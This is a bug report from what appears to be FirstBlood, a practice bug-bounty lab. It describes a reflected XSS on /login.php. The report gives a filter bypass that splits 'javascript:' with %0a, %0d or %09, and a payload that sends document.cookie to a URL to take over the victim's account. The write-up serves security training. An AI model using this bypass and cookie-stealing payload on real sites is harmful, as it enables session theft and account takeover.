FirstBlood-#150Reflected xss on login.php
This issue was discovered on FirstBlood v1

On 2021-05-10, 0xblackbird Level 5 reported:

Hello! I have found another open redirect on /login.php that I could leverage to reflected xss. It only needs one single click from the victim to fire. I was also able to takeover the victim's account by stealing cookies.

Steps to reproduce

  • Visit /login.php?ref=ja%0avascript:confirm%60%60 and click on Return to previous page
  • You'll normally get a confirm box which indicates that the javascript has been executed.
  • Now to go for account takeover, we can just put the cookies in a url as a path/parameter value and redirect to it. Here is a little Proof of Concept: window.location.href=%60http://localhost/${document.cookie}%60.
  • All we have to do now is make sure our victim visits our malicious link and he/she will end up losing the account. /login.php?ref=ja%0avascript:window.location.href=%60http://localhost/${document.cookie}%60


I was able to execute javascript on any users behalf and by that steal the victim's cookies and perform an account takeover!


Same here, I re-used the parameter ref and got reflection. When I first injected javascript:alert() everything got removed. I knew that something had to be bypassed and actually, I found a very similar bug on a Vulnerability Disclosure Program! That also helped me a lot and knew right away that I could bypass it with CRLF or perhaps even tabs! Tried java%0ascript:confirm%60%60 and java got removed. So I went ahead and tried to place the %0a between ja and va, and of cours this one worked! I also found other bypasses such as %0d and %09.

Thanks for the fun and very realistic challenge!

Kind regards, 0xblackbird

P3 Medium

Endpoint: /login.php

Parameter: ref

Payload: ja%0avascript:confirm``

FirstBlood ID: 3
Vulnerability Type: Reflective XSS

The parameter "ref" is vulnerable to XSS on login.php. The developer has tried to prevent a malicious actor from redirecting to a javascript URI but the attempt to stop this was poor and thus it can be bypassed.